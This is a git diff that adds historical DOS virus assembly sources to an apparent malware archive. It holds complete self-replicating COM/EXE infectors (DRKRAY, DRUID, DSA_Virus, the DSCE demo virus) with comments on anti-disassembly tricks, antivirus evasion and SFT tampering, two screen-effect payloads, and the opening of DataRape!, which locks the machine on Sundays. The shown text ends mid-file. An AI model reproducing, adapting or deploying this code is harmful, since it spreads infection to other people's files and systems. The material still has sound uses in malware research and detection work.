JNZ Continue_Int8 ; yep, just continue to Int 8 + JMP SHORT L01B2 ;time to act + +Continue_Int8: + POP AX ;restore user's Int 8 svc + POPF ;restore user's flags + JMP CS:int8Vec ;jump to old Int 8 + +L01B2: PUSHF ;save flags + CALL CS:int8Vec ;call old Int 8 + PUSH ES ;save all his regs + PUSH DS + PUSH DX + PUSH CX + PUSH DI + PUSH SI + mov ax,CS + mov DS,ax + ASSUME DS:Cseg + + MOV AX,video + MOV ES,AX + ASSUME ES:Nothing + + cmp bflag_13F,0 ;flag clear? + JZ L01D9 ; yep + MOV DI,saveDI ;get our screen pointers + MOV SI,saveSI + STI ;enable ints + JMP SHORT MoveChar ;go to work + +L01D9: MOV bflag_13D,0FFH ;set flag + STI ;enable interrupts + MOV bcntr_140,64H ;refresh counter +Lup1E4: CMP bcntr_140,0 ;zeroed out? + JNZ L01EE ; nope + JMP Pop_Iret ; return + +L01EE: DEC bcntr_140 ;count down + CALL L02AC + AND AX,0FFEH + MOV SI,AX + MOV AL,ES:[SI] + CMP AL,20H ;just a space? + JZ Lup1E4 ; yep, try again + or al,al ;just a zero? + JZ Lup1E4 ; yep, try again + CMP SI,0FA0H ;screen bottom? + JNB Lup1E4 ; not yet, try again + MOV DI,SI ;point to new char location + ADD DI,0A0H ;move this far each time (1 line) + CMP DI,0FA0H ;screen bottom? + JNB L025B ;not yet, continue + MOV AL,ES:[DI] ;get char at new location + CMP AL,20H ;just a space? + JZ Save_Iret ;yep, save screen ptrs, Iret + or al,al ;just a zero? + JNZ Lup1E4 ; yep, continue +Save_Iret: + MOV saveDI,DI ;save screen pointers + MOV saveSI,SI + MOV bflag_13F,0FFH ;reset flag + JMP SHORT Pop_Iret ;return + +MoveChar: + MOV bflag_13F,0 ;turn flag off + MOV AL,ES:[SI] ;snarf screen char + MOV ES:[DI],AL ;move it here + MOV BYTE PTR ES:[SI],20H ;blank out old char + MOV SI,DI + ADD DI,0A0H + CMP DI,0FA0H ;screen bottom? + JNB L025B ; not yet + MOV AL,ES:[DI] ;get char + CMP AL,20H ;just a space? + JZ Save_Iret ; yep, save ptrs, Iret + or al,al ; a 0? + JZ Save_Iret ; yep, save ptrs, Iret + JMP SHORT L025F + +L025B: MOV BYTE PTR ES:[SI],20H ;stuff space on screen +L025F: DEC wcntr_13A ;decrement counter + JNZ L026F + SHR byte_13C,1 + MOV wcntr_13A,40H ;refresh counter +L026F: CALL L02AC + AND AL,byte_13C + MOV bcntr_13E,AL +Pop_Iret: + POP SI + POP DI + POP CX + POP DX + POP DS + POP ES + POP AX + POPF + MOV CS:bflag_13D,0 ;clear flag + IRET +NewInt8 endp + +L02AC proc near + MOV AX,word_2BE + PUSH AX + AND AH,0B4H + POP AX + JPE L02B7 + STC +L02B7: RCL AX,1 + MOV word_2BE,AX + RET +L02AC endp + + +Start proc near + MOV ax,3508H ;get Int8 vector + INT 21H + mov word ptr int8Vec,bx ;save ofs + mov word ptr int8Vec+2,ES ;save seg + + MOV AH,2CH ;get DOS system time + INT 21H + MOV word_2BE,DX ;save seconds, deciseconds + MOV bcntr_13E,0FFH ;refresh counter + MOV AH,0FH ;get current video mode + INT 10H + CMP AL,6 ;? + JZ Use_Mono ; yep + CMP AL,7 ;mono? + JZ Use_Mono ;yep + MOV video,0B800H ;use color screen + +Use_Mono: + MOV DX,OFFSET NewInt8 ;DS:dx = our service + mov ax,2508H ;set new Int 8 vector + INT 21H + + MOV DX,offset Start ;program end + MOV CL,4 + SHR DX,CL ;compute size in paras + INC DX ;safeside + MOV AH,31H ;advanced TSR + INT 21H + + DB 'DRIP Version 2.01',0 ;,CR,LF + DB 'G. Masters 5/25/87',0 ;,CR,LF + db 'Toad Hall 880421',0 +; DB 1AH +; DB 90H +Start endp + + +Cseg ENDS + END Drip + \ No newline at end of file diff --git a/d/DRKRAY.ASM b/d/DRKRAY.ASM new file mode 100755 index 0000000..8808a67 --- /dev/null +++ b/d/DRKRAY.ASM @@ -0,0 +1,146 @@ +; Com-infector ... + + IDEAL ; Informatie voor de + MODEL SMALL ; assembler (TASM) + CODESEG ; om een COM file + ORG 100h ; te genereren. + + VX_LEN EQU ((NEW_BYTES + 2) - VX) ; Aantal bytes dat + ; dit virus groot is. +FIRST: + DB 0FBh ; Markering dat deze + ; file geinfecteerd + ; is. + DB 0E9h ; Een 3-bytes ge- + DW 00000h ; infecteerde file. + +VX: CALL RELATIVE ; Zet die offset van +RELATIVE: ; RELATIVE in BP, + POP BP ; trekt daar de positie + SUB BP,OFFSET RELATIVE ; van RELATIVE af in + ; de originele file + ; (deze file), + ; en zo kan de relative + ; positie van de data + ; in het geheugen + ; bepaalt worden. + MOV AH,009h ; Laat waarschuwing + LEA DX,[BP + MEDEDELING] ; zien. + INT 021h ; + LEA SI,[BP + OLD_BYTES] ; Plaatste de eerste 3 + MOV DI,0100h ; bytes van de ge- + CLD ; infecteerde file + MOVSW ; terug. + MOVSW ; + MOV AH,02Fh ; Bewaar de pointer + INT 021h ; naar het DTA blok. + MOV [WORD PTR CS:BP + OLD_DTA ],BX ; + MOV [WORD PTR CS:BP + OLD_DTA + 2],ES ; + MOV AH,01Ah ; Zet die pointer naar + LEA DX,[BP + NEW_DTA] ; het DTA blok van dit + INT 021h ; virus. + + MOV AH,04Eh ; Zoek de eerste COM + MOV CX,022h ; file in deze + LEA DX,[BP + FILE_NAME] ; directory. + JMP FIND ; + +AGAIN: MOV AH,04Fh ; Volgende COM file. + +FIND: INT 021h ; Zoek, en als er + JC EXIT ; geen COM files meer + ; in deze directory + ; zijn, dan naar EXIT. + MOV AX,03D02h ; Open de te infecteren + LEA DX,[BP + NEW_DTA + 30] ; file, en plaats de + INT 021h ; file handle in BX. + MOV BX,AX ; + MOV AH,03Fh ; Lees de eerste 4 + MOV CX,00004h ; bytes in. + LEA DX,[BP + OLD_BYTES] ; + MOV DI,DX ; + INT 021h ; + + CMP [BYTE PTR DI],0FBh ; Is de eerste byte FB + JE AGAIN ; dan naar AGAIN. + MOV AX,04202h ; Ga naar 't einde + XOR CX,CX ; van de file. + XOR DX,DX ; + INT 021h ; + + OR DX,DX ; Als de file grote is + JNZ AGAIN ; dat een segment niet + ; infecteren, want dan + ; kan het geen COM + ; file zijn. + ; (Terug naar AGAIN) + CMP AX,1024 ; Is de file kleiner + JB AGAIN ; dan 1024, dan naar +NOT_2_SMALL: ; AGAIN. + + CMP AX,50000 ; Ook groter dan 50000 + JA AGAIN ; infecteren we niet. + ; (dan terug naar AGAIN) + SUB AX,00004h ; Bereken waar die jump + MOV [WORD PTR CS:BP + NEW_BYTES + 2],AX ; aan het begin van de + ; geinfecteerde file + ; heen moet springen. + MOV AH,040h ; Append 't virus + MOV CX,VX_LEN ; aan de file. + LEA DX,[BP + VX] ; + INT 021h ; + + MOV AX,04200h ; Ga naar 't begin van + XOR CX,CX ; de file. + XOR DX,DX ; + INT 021h ; + MOV AH,040h ; Schrijf de markering + MOV CX,00004h ; en de jump naar 't + LEA DX,[BP + NEW_BYTES] ; virus aan 't begin + INT 021h ; van de file. + + MOV AH,03Eh ; Sluit de file. + INT 021h ; + JMP AGAIN ; Spring naar AGAIN. + +EXIT: + PUSH DS ; Save DS. + MOV DX,[WORD PTR CS:BP + OLD_DTA ] + MOV AX,[WORD PTR CS:BP + OLD_DTA + 2] + MOV DS,AX + MOV AH,01Ah + INT 021h + POP DS ; Restore DS. + MOV SI,0100h ; Start de originele + JMP SI ; file op. + +; *** Data *** + +Mededeling: + +DB "This file contains a virus!!! Please COLD-boot from a write protected" +DB 00Dh, 00Ah +DB "system disk and use you anti virus software!!!$" + +Disclaimer: + +DB "Dit virus is ter RESEARCH en STUDIE geschreven!! " +DB "Misbruik hiervan is strafbaar onder de Nederlandse wet!! " + +Auteur: + +DB "(C) 1994 - [DRkRY] retired virus writer..." + +OLD_BYTES: NOP + NOP + NOP + RET + +FILE_NAME: DB "*.COM",0h + +NEW_BYTES DB 0FBh, 0E9h, ?, ? + +OLD_DTA DW ?, ? +NEW_DTA DW 34 DUP(?) + + END FIRST diff --git a/d/DROPSY.ASM b/d/DROPSY.ASM new file mode 100755 index 0000000..55779af --- /dev/null +++ b/d/DROPSY.ASM @@ -0,0 +1,99 @@ +;DROPSY TEXT effect for Nowhere Man's VCL - TASM will assemble as is using +;VCL recommended switches. When screen is thoroughly dropsie'd, that is all +;letters have fallen to a single line across the bottom of the monitor, +;the routine will exit to DOS and restore the command prompt. I excerpted +;quite a bit of this from some public domain video routines optimized for +;the accursed a86 assembler and reworked the whole magilla until TASM +;wouldn't choke when swallowing the source. It attempts to meet +;minimum requirements for VCL formatting. Heck, this is a nice routine +;to have at your fingertips; you gotta admit a CASCADE-virus-like effect +;is always something people wanna see. And it's commented up the +;kazoo, one of the features I like best about VCL code. Hope you find +;it useful. -URNST KOUCH + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + + jmp Start + +main proc near + +Row dw 24 ;Rows to do initially + + ;First, get current video mode and page. +Start: mov cx,0B800h ;color display, color video mem for page 1 + mov ah,15 ;Get current video mode + int 10h + cmp al,2 ;Color? + je A2 ;Yes + cmp al,3 ;Color? + je A2 ;Yes + cmp al,7 ;Mono? + je A1 ;Yes + int 20h ;No,quit + + ;here if 80 col text mode; put video segment in ds. +A1: mov cx,0A300h ;Set for mono; mono videomem for page 1 +A2: mov bl,0 ;bx=page offset + add cx,bx ;Video segment + mov ds,cx ;in ds + + ;start dropsy effect + xor bx,bx ;Start at top left corner +A3: push bx ;Save row start on stack + mov bp,80 ;Reset column counter + ;Do next column in a row. +A4: mov si,bx ;Set row top in si + mov ax,[si] ;Get char & attr from screen + cmp al,20h ;Is it a blank? + je A7 ;Yes, skip it + mov dx,ax ;No, save it in dx + mov al,20h ;Make it a space + mov [si],ax ;and put on screen + add si,160 ;Set for next row + mov di,cs:Row ;Get rows remaining +A5: mov ax,[si] ;Get the char & attr from screen + mov [si],dx ;Put top row char & attr there +A6: call Vert ;Wait for 2 vert retraces + mov [si],ax ;Put original char & attr back + ;Do next row, this column. + add si,160 ;Next row + dec di ;Done all rows remaining? + jne A5 ;No, do next one + mov [si-160],dx ;Put char & attr on line 25 as junk + ;Do next column on this row. +A7: add bx,2 ;Next column, same row + dec bp ;Dec column counter; done? + jne A4 ;No, do this column +;Do next row. +A8: pop bx ;Get current row start + add bx,160 ;Next row + dec cs:Row ;All rows done? + jne A3 ;No +A9: mov ax,4C00h + int 21h ;Yes, quit to DOS with error code + + ;routine to deal with snow on CGA screen. +Vert: push ax + push dx + push cx ;Save all registers used + mov cl,2 ;Wait for 2 vert retraces + mov dx,3DAh ;CRT status port +F1: in al,dx ;Read status + test al,8 ;Vert retrace went hi? + je F1 ;No, wait for it + dec cl ;2nd one? + je F3 ;Yes, write during blanking time +F2: in al,dx ;No, get status + test al,8 ;Vert retrace went low? + jne F2 ;No, wait for it + jmp F1 ;Yes, wait for next hi +F3: pop cx + pop dx + pop ax ;Restore registers + ret ;and return + + main endp + code ends + end main diff --git a/d/DRUID.ASM b/d/DRUID.ASM new file mode 100755 index 0000000..94def57 --- /dev/null +++ b/d/DRUID.ASM @@ -0,0 +1,139 @@ +fname equ 9eh ; pointer to filename in DTA + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +druid proc far +vstart equ $ + +start: + mov ax,2EBh ; used to baffle sourcer... + jmp $-2 ; + + mov dx,offset newint ; set int1 to newint + mov ax,2501h + int 21h + + mov al,3 ; set int3 to newint + int 21h + + mov dx,offset newint ; do it again... + mov ax,2501h + int 21h + mov al,1 + int 21h + + mov ah,47h ; get current directory + xor dl,dl ; and save it + lea si,currdir + int 21h + +again: + + lea dx,fmask + mov ah,4Eh ; Find first *.COM +getfile: + int 21h + + jnc found_ok ;if ok, goto found_ok + jmp short bailout ;if no more files, goto bail out + nop +found_ok: + mov si,fname ; load filename into ax + lodsw + cmp ax,'OC' ; if first 3 letters is "CO" + ; as in "COMMAND.COM" + jne infect ; if not, go on + jmp getnext ; else, get another file + + mov ax,2EBh ; used to baffle sourcer... + jmp $-2 +infect: + mov dx,fname ; get attribute + mov ax,4300h ; of the file found + int 21h + push cx ; and save it + + xor cx,cx ; reset attributes + mov ax,4301h + int 21h + + mov ax,2EBh ; used to baffle sourcer... + jmp $-2 + + mov dx,fname ; open file + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc getnext ; if error, skip to loc_5 + + xchg ax,bx ; get handle in bx + + mov ax,5700h ; get time'n date + int 21h + push dx ; save'em + push cx + + mov ah,40h ; write virus to target + mov cx,virlen ; number of bytes to write + mov dx,fname ; pointer to file + int 21h + + pop cx ; restore the date'n time + pop dx + mov ax,5701h + int 21h + + mov ah,3Eh ; close target + int 21h + + pop cx ; restore the attributes + mov ax,4301h + mov dx,fname + int 21h +getnext: + mov ah,4Fh ; get next file matching *.COM + jmp short getfile +bailout: + mov ax,2EBh ; used to baffle sourcer... + jmp $-2 + + lea dx,dot_dot ; "cd.." + mov ah,3Bh + int 21h + + jc exit ; if error, goto exit + jmp short again ; do it all over again +exit: + mov ax,2EBh ; used to baffle sourcer... + jmp $-2 + + mov ah,3Bh ; change back to + lea dx,return_dir ; original directory + int 21h + + mov ax,4C00h ; quit to dos with + int 21h ; errorlevel 0 + +id db ' DRUID, coded by Morbid Angel/Line Noise -92 in Stockholm/Sweden' + +druid endp + +newint proc far ; replaces INT1 and INT3 + iret ; with this. +newint endp + +fmask db '*.COM',0 +dot_dot db '..',0 +return_dir db '\' ; the slash is used when +currdir dw 32 dup (?) ; returning to old dir. + +vend equ $ +virlen equ vend - vstart + +seg_a ends + end start + \ No newline at end of file diff --git a/d/DSA.ASM b/d/DSA.ASM new file mode 100755 index 0000000..9db6c9d --- /dev/null +++ b/d/DSA.ASM @@ -0,0 +1,224 @@ +;=====( DSA_Virus by Rajaat )================================================== +; +; Memory resident appending COM infector, residing in the stack space reserved +; for the DOS AH < 0ch calls. Works through TBFILE using SFT manipulation, +; obtained through the DSA. File date/time won't be altered and the virus can +; circumvent attributes. The virus is, compiled with TASM, a mere 263 bytes +; long. +; +;============================================================================== +; +; Virus name : DSA_Virus +; Author : Rajaat +; Origin : United Kingdom, July 1996 +; Compiling : Using TASM +; +; TASM /M DSAVIRUS +; TLINK /T DSAVIRUS +; Targets : COM files +; Size : 263 bytes +; Resident : Yes, no decrease in memory reported +; Polymorphic : No +; Encrypted : No +; Stealth : Memory only, by utilizing dos stack space +; Tunneling : Uses SFT to avoid some monitors +; Retrovirus : Yes, uses TbSpoof +; Antiheuristics: Yes +; Peculiarities : Makes extensive use of the Dos Swappable Area (DSA) +; Drawbacks : Might crash, I'm not sure :) +; Behaviour : The first time the DSA virus is executed, it will check if +; it's already resident in memory by looking at the first byte +; in the DOS stack, located in the DSA. If this resembles a +; mov bp,xxxx instruction, it's already resident and the DSA +; virus will return control to the host program. If not, the +; virus will install itself in the DOS stack area, reserved for +; DOS INT 21 functions below 0ch. It will hook INT 21. If a +; program is executed while the DSA virus is resident, it will +; open it in read-only mode. Then it will use the DSA to locate +; the current SFT. In the SFT it modifies the read-only mode to +; read/write, effectively passing the file checks of TBFILE. It +; will also clear the file attributes during the infection +; process by using the SFT. The DSA virus will read the first +; 5 bytes of the file and checks wether the file is already +; infected or if it is an EXE file. If both checks are passed +; successfully, it will write itself at the end of the file +; and patches the start of the COM file to point at its code. +; The infected file increases by 263 bytes. Before closing the +; file, the DSA virus sets the file date/time update flag, so +; the date won't change after infection. After infection it +; will set the file attribute again and return control to it's +; caller. +; +; It's unknown what this virus might do besides replicate :) +;============================================================================== +; +; Results with antivirus software +; +; TBFILE - Doesn't detect it +; TBSCAN - Doesn't detect it +; TBMEM - Detects it +; TBCLEAN - Cleans it, so what? +; SVS - Detects it +; SSC - Doesn't detect it +; F-PROT - Doesn't detect it +; F-PROT /ANALYSE - Doesn't detect it +; F-PROT /ANALYSE /PARANOID - Doesn't detect it +; AVP - Detects it +; VSAFE - Corrupts infected files on my system! +; NEMESIS - I don't try this one anymore +; +;============================================================================== + +.model tiny +.code +.radix 16 +.286 ; why bother with XT? + + org 100 + +DSA_Virus: mov bp,0 ; delta offset +Relative_Offset equ $-2 + mov ax,5d06 ; get DSA pointer + int 21 ; + + cmp byte ptr [si+600],0bdh ; mov bp in stack memory? + jne Install_TSR ; no, install virus + +;=====( Return to host )======================================================= + +Return_to_host: push cs cs ; move 5 bytes to offset 100h + pop ds es ; and execute host + lea si,COM_Host[bp] + pop ax + mov di,0ff + stosb + push di + movsw + movsw + movsb + ret + +;=====( Install virus in memory )============================================== + +Install_TSR: xchg ax,si + test al,0f ; DSA at paragraph boundary? + jnz Return_to_host ; no, abort + + add ah,5 ; DSA+600 = DOS stack for + shr ax,4 ; ah < 0ch, virus re-aligns + mov bx,ds ; segment, so offset is + add ax,bx ; 100, like in COM files + push cs + pop ds + mov es,ax + lea si,DSA_Virus[bp] + mov di,100 + mov cx,Virus_Length +Move_Virus: lodsb + stosb + loop Move_Virus ; move virus to stack space + push es + pop ds + + mov ax,4521 ; get int 21 + sub ah,10 + int 21 + mov word ptr INT_21,bx + mov word ptr INT_21+2,es + + mov ah,25 ; set int 21 + lea dx,New_21 + int 21 + + jmp Return_to_host ; restore host + +;=====( Data to place at the start of a COM file )============================= + +Signature db '[DSA by Rajaat / Genesis]' + +Virus_Jump: db 'PK' ; TbSpoof + db 0e9 ; jump to virus + +;=====( First 5 bytes of host data )=========================================== + +COM_Host db 0cdh,020h,0,0,0 + +;=====( Resident INT 21 handler )============================================== + +New_21: not ax + cmp ax,not 4b00 ; execute file? + not ax + jne Int_21_Done ; no, abort + +Check_Infect: push ax bx dx ds es + mov ah,3dh ; open read-only + int 21 + xchg ax,bx + + mov ax,5d06 ; get DSA + int 21 + + lds si,dword ptr ds:[si+27e] ; get current SFT + + push si ds + mov word ptr [si+2],2 ; open mode is now read/write + mov al,byte ptr [si+4] ; get file attribute + mov byte ptr [si+4],0 ; clear file attribute + push ax ; push file attribute on stack + push cs + pop ds + + mov ah,3f ; read first 5 bytes of host + mov cx,5 + lea dx,COM_Host + int 21 + + mov ax,word ptr [Com_Host] + sub ax,'KP' ; PK signature? + jz is_infected ; yes, abort + sub ax,'ZM'-'KP' ; MZ signature (EXE file) + jz is_infected ; yes, abort + + mov ax,4202 ; goto end of file + xor cx,cx + cwd + int 21 + + mov word ptr Relative_Offset,ax ; store relative offset + push ax + + mov ah,1 ; write virus at end of file + shl ah,6 + mov cx,Virus_Length + lea dx,DSA_Virus + int 21 + + mov ax,4200 ; goto start of file + xor cx,cx + cwd + int 21 + + pop ax ; calculate jump address + mov cx,5 + sub ax,cx + mov word ptr Com_Host,ax + + mov ah,40 ; write jump at start of file + lea dx,Virus_Jump + int 21 + +Is_Infected: pop ax ds si + mov byte ptr [si+4],al ; restore file attributes + or byte ptr [si+6],40 ; don't change file date/time + mov ah,3e ; close file + int 21 + pop es ds dx bx ax +Int_21_Done: db 0ea ; chain to old int 21 + +Virus_Length equ $-DSA_Virus + +;=====( Data used by the virus, but not written to files )===================== + +INT_21 dd 0 + +end DSA_Virus diff --git a/d/DSCEDEMO.ASM b/d/DSCEDEMO.ASM new file mode 100755 index 0000000..435c35a --- /dev/null +++ b/d/DSCEDEMO.ASM @@ -0,0 +1,450 @@ +; A DEMO VIRUS FOR DSCE BY [PF] +.286 + +DEMO SEGMENT + ASSUME CS:DEMO,DS:DEMO + ORG 0000 + +VIR_LEN EQU OFFSET DSCE_END + + EXTRN DSCE:NEAR,DSCE_END:NEAR + +START: CALL BEG + +BEG PROC +BEG ENDP + + CLD + MOV AH,62H + INT 21H + MOV ES,BX + POP AX + SUB AX,3 + SHR AX,4 + MOV DX,CS + ADD AX,DX + PUSH AX + PUSH OFFSET CHK_MEMVIR + RETF +CHK_MEMVIR: PUSH CS + POP DS + MOV AX,4BDDH + INT 21H + CMP AX,0DD4BH + JZ RUN_OLD + MOV PSP_1,ES + MOV PSP_2,ES + MOV PSP_3,ES + MOV BX,VIR_LEN + MOV WORD PTR [BX],0A4F3H + MOV BYTE PTR [BX+2],0CBH + XOR DI,DI + MOV SI,DI + MOV AX,ES + ADD AX,10H + MOV ES,AX + MOV CX,VIR_LEN + PUSH ES + MOV AX,OFFSET CON + PUSH AX + CLD + JMP BX + +RUN_OLD: PUSH ES + POP DS + CMP CS:FILE_MODE,0 + JNZ RUN_EXE + MOV AX,CS:COM_HEAD1 + MOV DS:[0100H],AX + MOV AH,CS:COM_HEAD2 + MOV DS:[0102H],AH + MOV AX,0100H + MOV SP,0FFFEH + PUSH DS + PUSH AX + RETF +RUN_EXE: MOV AX,ES + ADD AX,10H + ADD CS:EXE_SS,AX + ADD CS:EXE_CS,AX + CLI + MOV SS,CS:EXE_SS + MOV SP,CS:EXE_SP + STI + JMP DWORD PTR CS:EXE_IP + +RUN_OLD_M2: MOV AX,CS + MOV BX,VIR_LEN + ADD BX,200H + CLI + MOV SS,AX + MOV SP,BX + STI + MOV AH,4AH + MOV BX,VIR_LEN + ADD BX,BX + SHR BX,4 + ADD BX,200H + MOV ES,PSP_1 + INT 21H + MOV ES,ES:[2CH] + XOR DI,DI + XOR AX,AX + MOV CX,0FFFFH +GET_NAME: REPNZ SCASB + CMP AL,ES:[DI] + LOOPNZ GET_NAME + ADD DI,3 + MOV RUN_DX,DI + MOV RUN_DS,ES + PUSH CS + POP ES + MOV AX,4B00H + MOV BX,OFFSET PCB + LDS DX,DWORD PTR CS:RUN_DX + INT 21H + + MOV AH,4DH + INT 21H + MOV AH,31H + MOV DX,VIR_LEN + ADD DX,DX + SHR DX,4 + ADD DX,0F0H + INT 21H + +CON: PUSH CS + POP DS + MOV AX,3521H + INT 21H + MOV INT21_IP,BX + MOV INT21_CS,ES + MOV DX,OFFSET INT21 + MOV AX,2521H + INT 21H + JMP RUN_OLD_M2 + +INT21_IP DW ? +INT21_CS DW ? +INT24_IP DW ? +INT24_CS DW ? +RUN_DX DW ? +RUN_DS DW ? +COM_HEAD1 DW 20CDH +COM_HEAD2 DB ? + +EXE_HEAD DW ? +EXE_02H DW ? +EXE_04H DW ? + DW ? +EXE_08H DW ? + DW 2 DUP(?) +EXE_SS DW ? +EXE_SP DW ? + DW ? +EXE_IP DW ? +EXE_CS DW ? + +NEW_SIZE_L DW ? +NEW_SIZE_H DW ? + +PCB DW 0 + DW 80H +PSP_1 DW ? + DW 5CH +PSP_2 DW ? + DW 6CH +PSP_3 DW ? + +PATH_DX DW ? +PATH_DS DW ? +DATE_CX DW ? +DATE_DX DW ? + +FILE_MODE DB 0 +FILE_ATR DW ? +FILE_LEN DW ? + +POP_BUFFER DW ? +VIR_BUFFER DB 20H DUP (?) + +SP_BUF DW ? +SS_BUF DW ? + +VIR_MSG DB "This is a DSCE's Demo Virus written by [P.F]" + +INT21: PUSHF + CLD + CALL INF_PUSH + CMP AX,4BDDH + JNZ I21_CON + CALL INF_POP + MOV AX,0DD4BH + POPF + IRET + +I21_CON: CMP AX,4B00H + JZ I21_RUN +I21_END: CALL INF_POP + POPF + JMP DWORD PTR CS:INT21_IP +I21_CLOSE: MOV AH,3EH + INT 21H + JMP I21_END +I21_RUN: MOV CS:PATH_DS,DS + MOV CS:PATH_DX,DX + MOV AX,3D00H + INT 21H +I21_END_L1: JC I21_END + XCHG AX,BX + PUSH CS + POP DS + MOV AX,5700H + INT 21H + CMP DX,0C800H + JA I21_CLOSE + MOV DATE_CX,CX + MOV DATE_DX,DX + MOV AH,3FH + MOV CX,3 + MOV DX,OFFSET COM_HEAD1 + INT 21H + CMP AX,CX + JNZ I21_CLOSE + CMP COM_HEAD1,4D5AH + JZ SET_MODE + CMP COM_HEAD1,5A4DH + JNZ SET_M_COM +SET_MODE: MOV FILE_MODE,1 + MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H + MOV AH,3FH + MOV CX,18H + MOV DX,OFFSET EXE_HEAD + INT 21H + JMP SHORT I21_OPEN +SET_M_COM: MOV FILE_MODE,0 + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H + OR DX,DX + JNZ I21_CLOSE + CMP AX,0C000H + JA I21_CLOSE + MOV FILE_LEN,AX +I21_OPEN: MOV AH,3EH + INT 21H + PUSH PATH_DX + PUSH PATH_DS + POP DS + POP DX + MOV AX,4300H + INT 21H + JC I21_END_L1 + MOV CS:FILE_ATR,CX + MOV AX,4301H + XOR CX,CX + INT 21H + MOV AX,3D02H + INT 21H + JC I21_END_L2 + XCHG AX,BX + PUSH CS + POP DS + PUSH BX + MOV AX,3524H + INT 21H + MOV INT24_IP,BX + MOV INT24_CS,ES + MOV AX,2524H + MOV DX,OFFSET INT24 + INT 21H + POP BX + CALL WRITE + MOV AH,3EH + INT 21H + MOV AX,2524H + PUSH INT24_IP + PUSH INT24_CS + POP DS + POP DX + INT 21H + PUSH CS:PATH_DX + PUSH CS:PATH_DS + POP DS + POP DX + MOV AX,4301H + MOV CX,CS:FILE_ATR + INT 21H +I21_END_L2: JMP I21_END + +INT24: XOR AL,AL + IRET + +WRITE PROC + MOV SP_BUF,SP + MOV SS_BUF,SS + MOV AX,VIR_LEN + 5DCH + MOV DX,CS + CLI + MOV SS,DX + MOV SP,AX + STI + CMP FILE_MODE,0 + JZ WRITE_COM + JMP SHORT WRITE_EXE +WRITE_COM: MOV SI,OFFSET VIR_BUFFER + MOV BYTE PTR [SI],0E9H + MOV AX,FILE_LEN + PUSH AX + SUB AX,3 + MOV [SI+1],AX + MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H + MOV AH,40H + MOV DX,SI + MOV CX,3 + INT 21H + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H + MOV AX,VIR_LEN + 600H + MOV DX,CS + SHR AX,4 + INC AX + ADD AX,DX + MOV ES,AX + MOV DX,OFFSET START + MOV CX,VIR_LEN + POP BP + ADD BP,0100H + PUSH BX + MOV BL,10B + + CALL DSCE + + POP BX + MOV AH,40H + INT 21H + PUSH CS + POP DS + +SET_DATE: MOV AX,5701H + MOV CX,DATE_CX + MOV DX,DATE_DX + ADD DX,0C800H + INT 21H + MOV AX,SP_BUF + MOV DX,SS_BUF + CLI + MOV SS,DX + MOV SP,AX + STI + RET + +WRITE_EXE: PUSH CS + POP ES + MOV SI,OFFSET EXE_HEAD + MOV DI,OFFSET VIR_BUFFER + MOV CX,18H + REP MOVSB + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H + ADD AX,0FH + ADC DX,0 + AND AX,0FFF0H + MOV NEW_SIZE_L,AX + MOV NEW_SIZE_H,DX + MOV CX,10H + DIV CX + MOV DI,OFFSET VIR_BUFFER + SUB AX,[DI+8] + MOV [DI+16H],AX + MOV [DI+0EH],AX + MOV WORD PTR [DI+14H],0 + MOV [DI+10H],0FFFEH + MOV AX,4200H + MOV DX,NEW_SIZE_L + MOV CX,NEW_SIZE_H + INT 21H + MOV AX,VIR_LEN + 600H + MOV DX,CS + SHR AX,4 + INC AX + ADD AX,DX + MOV ES,AX + MOV DX,OFFSET START + MOV CX,VIR_LEN + MOV BP,0 + PUSH BX + MOV BL,11B + + CALL DSCE + + POP BX + MOV AH,40H + INT 21H + PUSH CS + POP DS + + MOV AX,NEW_SIZE_L + MOV DX,NEW_SIZE_H + ADD AX,CX + ADC DX,0 + MOV CX,200H + MOV DI,OFFSET VIR_BUFFER + DIV CX + OR DX,DX + JZ GET_NEW + INC AX +GET_NEW: MOV [DI+4],AX + MOV [DI+2],DX + MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H + MOV AH,40H + MOV CX,18H + MOV DX,DI + INT 21H + JMP SET_DATE +WRITE ENDP + +INF_PUSH PROC + POP CS:POP_BUFFER + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + PUSH DS + PUSH ES + JMP CS:POP_BUFFER +INF_PUSH ENDP + +INF_POP PROC + POP CS:POP_BUFFER + POP ES + POP DS + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + JMP CS:POP_BUFFER +INF_POP ENDP + +DEMO ENDS + END START diff --git a/d/DTARPE23.ASM b/d/DTARPE23.ASM new file mode 100755 index 0000000..875f6ad --- /dev/null +++ b/d/DTARPE23.ASM @@ -0,0 +1,1108 @@ +@b macro char + mov ah,0eh + mov al,char + int 10h +endm +;--- +; DataRape! v2.3 Source Code +; +; Written by Zodiac and Data Disruptor +; +; (C) 1991 RABID International Development Corp +; (Aug.14.91) +;--- +; +; Note: Assuming that and infected COMMAND.COM was booted, FSP/VirexPC will +; not be able to go resident under this version of DataRape! +; +;--- + +code segment + assume cs:code,ds:code,es:code + +v: ; All Pre-Resident Offsets Based + ; upon this location + +startup: + call relative +relative: + pop si + sub si,offset relative + mov bp,si + cld + + push ax ; + push es ; Saves registers + push si ; + push ds ; + mov ah,2ah ; Get system time + int 21h + cmp al,0 + jne are_we_here_boost + jmp its_sunday + +are_we_here_boost: + jmp are_we_here + +;--- +; If it's Sunday, then we display a message and lock the system +;--- +its_sunday: + mov ah,01h + mov cx,2020h + int 10h ;NUL the cursor + + mov ah,02h ;Moves the cursor + xor dx,dx + int 10h + + xor ax,ax ;Clears the screen + int 10h + + @b "I" + @b "t" + @b "'" + @b "s" + @b " " + @b "S" + @b "u" + @b "n" + @b "d" + @b "a" + @b "y" + @b "." + @b " " + @b "W" + @b "h" + @b "y" + @b " " + @b "a" + @b "r" + @b "e" + @b " " + @b "y" + @b "o" + @b "u" + @b " " + @b "w" + @b "o" + @b "r" + @b "k" + @b "i" + @b "n" + @b "g" + @b "?" + @b 13 + @b 10 + @b "T" + @b "a" + @b "k" + @b "e" + @b " " + @b "t" + @b "h" + @b "e" + @b " " + 